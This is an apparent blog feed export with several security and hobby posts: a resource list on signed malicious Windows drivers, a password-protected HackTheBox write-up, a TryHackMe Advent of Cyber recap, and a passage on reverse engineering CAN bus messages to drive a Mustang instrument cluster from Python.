厦门恒信卓越网络科技有限公司 (Xiamen Hengxin Excellent Network Technology Co., Ltd.) in the above example can be used to detect other executables from the same organization that may also be malicious.</p> <p>The Google Cloud / Mandiant article listed below also has a plethora of other examples of binaries that use the same program name. You can also find a similar list in <a href="https://www.virustotal.com/gui/collection/336fd9e47398dde814431a3c7f5159b24500c86309e5796f1faee748827367ec">this VirusTotal Collection</a> or by pivoting off the above binary in <a href="https://www.virustotal.com/graph/4257ece19a9e4abc1eb251463bce623d2ac45afd0ed7939ba5e76ee9dbde2fa5">Virus Total's Threat Graph.</a></p> <h1 id="resources">Resources</h1> <h2 id="2022">2022</h2> <ul> <li><a href="https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware">cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware</a></li> <li><a href="https://www.sentinelone.com/labs/driving-through-defenses-targeted-attacks-leverage-signed-malicious-microsoft-drivers/">Driving Through Defenses | Targeted Attacks Leverage Signed Malicious Microsoft Drivers - SentinelOne</a></li> </ul> <h2 id="2023">2023</h2> <ul> <li><a href="https://news.sophos.com/en-us/2023/07/11/microsoft-revokes-malicious-drivers-in-patch-tuesday-culling/">Microsoft Revokes Malicious Drivers in Patch Tuesday Culling &ndash; Sophos News</a></li> </ul> <h2 id="2024">2024</h2> <ul> <li><a href="https://www.welivesecurity.com/en/eset-research/hotpage-story-signed-vulnerable-ad-injecting-driver/">HotPage: Story of a signed, vulnerable, ad-injecting driver</a></li> <li><a href="https://news.sophos.com/en-us/2024/04/09/smoke-and-screen-mirrors-a-strange-signed-backdoor/">Smoke and (screen) mirrors: A strange signed backdoor &ndash; Sophos News</a></li> </ul>2024-12-28T23:41:34-05:002026-05-17T14:03:45.449870-04:00Eric Turnertag:blog.ericturner.it,2024-12-28:/2024/12/28/hackthebox-sherlock-heartbreaker-continuum/

This challenge is currently active on HackTheBox, thus is required to be password protected. You will need to wait until the challenge is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">FCv8tK0U07AaSCOsHVOn+Q==;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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This challenge is currently active on HackTheBox, thus is required to be password protected. You will need to wait until the challenge is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2024-12-25T00:20:44-05:002026-05-17T14:03:45.469933-04:00Eric Turnertag:blog.ericturner.it,2024-12-25:/2024/12/25/tryhackme-advent-of-cyber-2024/

<p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image.webp"/></p> <p>I've spent the past few weeks tackling <a href="https://tryhackme.com/r/room/adventofcyber2024">TryHackMe's Advent of Cyber 2024</a>.</p> <p>Some of my favorite challenges were:</p> <ul> <li>Day 1 OPSEC, searching online to try and find similar strings via GitHub to link back to the attacker</li> <li>Day 7 AWS Log Analysis, I'm not super versed in cloud security, this …</li></ul>

<p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image.webp"/></p> <p>I've spent the past few weeks tackling <a href="https://tryhackme.com/r/room/adventofcyber2024">TryHackMe's Advent of Cyber 2024</a>.</p> <p>Some of my favorite challenges were:</p> <ul> <li>Day 1 OPSEC, searching online to try and find similar strings via GitHub to link back to the attacker</li> <li>Day 7 AWS Log Analysis, I'm not super versed in cloud security, this was helpful information on log review for AWS</li> <li>Day 16 Azure, same with above, more info into Azure CLI</li> <li>Day 18 Prompt injection, AI has secured a foothold in our present and future. Finding ways to break LLMs for malicious purposes will constantly be looming, and with each evolution, it will get better at generating code and could create a completely autonomous way to generate malware and setup infrastructure</li> <li>Day 19 Game Hacking, I have not heard of Frida before but was a fan of it. I have used burp proxies to intercept mobile traffic for mobile game hacking and also cheat engine for pc game hacking. This was another welcome addition to the toolkit.</li> <li>Day 21 Reverse Engineering, Malware Analysis and Reverse Engineering is a true passion of mine and I enjoyed this room</li> <li>Day 24 Communication protocols, Intercepting a new protocol to determine how to intercept and forge our own traffic was neat. I have done similar things with CANBus traffic in vehicles.</li> </ul> <p>This was a pretty well-balanced room that covered a number of red team, blue team and purple team topics and I had a lot of fun with it!</p>2024-02-04T14:50:50-05:002026-05-26T16:39:11.115342-04:00Eric Turnertag:blog.ericturner.it,2024-02-04:/2024/02/04/s550-mustang-ipc-reverse-engineering/

<p>Note: This post was published 4 Feb 2024, but was based off of research and work completed back in May 2023.</p> <h1 id="introduction-video-walkthrough">Introduction &amp; Video Walkthrough</h1> <p>https://www.youtube.com/watch?v=OzUs28GIq0A</p> <p>Back in 2020, I removed the analog instrument cluster from my 2015 Mustang GT Premium to upgrade it to …</p>

<p>Note: This post was published 4 Feb 2024, but was based off of research and work completed back in May 2023.</p> <h1 id="introduction-video-walkthrough">Introduction &amp; Video Walkthrough</h1> <p>https://www.youtube.com/watch?v=OzUs28GIq0A</p> <p>Back in 2020, I removed the analog instrument cluster from my 2015 Mustang GT Premium to upgrade it to a 2018 Digital Cluster (see here for more info on that: <a href="https://blog.ericturner.it/2020/08/26/2018-mustang-technology-retrofit/">2018+ Mustang Technology Retrofit &ndash; { Eric's Blog } (ericturner.it)</a>). I kept the old cluster laying around, no idea what I wanted to do with it.</p> <p>Fast forward to 2023, I had just recently purchased a 2016 Mustang GT350. I used a usb to OBD reader and performed some CANbus data logging while I interacted with buttons in the car multiple times in a row (turn signals, brights, arrow keys on the steering wheel, opening the doors). Then went for a short drive while data logging.</p> <h1 id="reversing-canbus-data-log">Reversing CANBus Data Log</h1> <p>With the data saved to files, and the cluster hooked up and ready for interface with my computer, I wrote some <a href="https://github.com/EricTurner3/s550-canbus/blob/master/replay.py">python code so I could replay my saved files</a> in real time and monitor the console output whenever I saw lights or messages appear on the cluster. Through hours of brute-force trial and error, I was able to get a lot of information to be able to reproduce. Here was an example of how just one message ID can display a bunch of different information just from a few byte changes: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/02/image-2.webp"/></p> <p>I could then hook up python code with some IF statements to map exactly what bytes would be sent for different lights or messages. Example excerpt below from the main <a href="https://github.com/EricTurner3/s550-canbus/blob/master/s550_cluster.py">s550_cluster.py</a> file.</p> <pre><code class="language-python">def send_misc_2(clusterdata): ''' ABS, Traction Control Off, Traction Control Loss Icons, Airbag Byte 1 - 0x2_ - Check Brake System warning 0x4_ - AdvanceTrac System Warning Byte 5 has to do with a solid traction control or a flashing icon 0x00 - Off 0x02 - Solid 0x0F - Flashing Byte 6 - 0x0_ - ABS light off 0x4_ - ABS Solid 0x8_ - ABS Flash Slow 0xD_ - ABS Flash Fast ''' if(clusterdata.icon_traction_control == 2): traction_control = 0x0F # flashing elif(clusterdata.icon_traction_control == 1): traction_control = 0x02 # solid on else: traction_control = 0x00 # off if(clusterdata.icon_abs == 2): abs_icon = 0xD0 # flashing elif(clusterdata.icon_abs == 1): abs_icon = 0x40 # solid on else: abs_icon = 0x00 # off data = [00, 00, 00, 00, 00, traction_control, abs_icon, 00] return send_msg(MISC_2, start, data) </code></pre> <h1 id="wiring">Wiring</h1> <p>With some functionality discovered, the old instrument cluster can be wired up for power and can messages to send the decoded messages from my computer to the cluster.</p> <p>I had a subscription to Ford's Service Manual &amp; Wiring Diagrams from awhile back so I already had the pin out to the connector on the back of the cluster</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/02/image.webp"/></p> <p>Pin out for the connector on the back</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/02/image-1.webp"/></p> <p>Wiring for Power, Ground and CANbus functions</p> <p><img alt="" src="https://user-images.githubusercontent.com/5173637/236826213-f898a93a-f348-4331-aae2-c1d1495cb0d0.jpeg"/></p> <p>Power went into a 5.5mm x 2.1mm 12V power connector. CANbus cables went into a USB-TO-CAN adapter I had from Canable.</p> <h1 id="what-works">What Works</h1> <p>All of the below indicators can be modified by game data, such as telemetry out from Euro Truck Simulator 2 or Forza Horizon 5 and re-mapped into the cluster for display</p> <ul> <li>Turn Signal Indicator</li> <li>High Beam / Headlight Indicator</li> <li>Seatbelt Indicator / Chime</li> 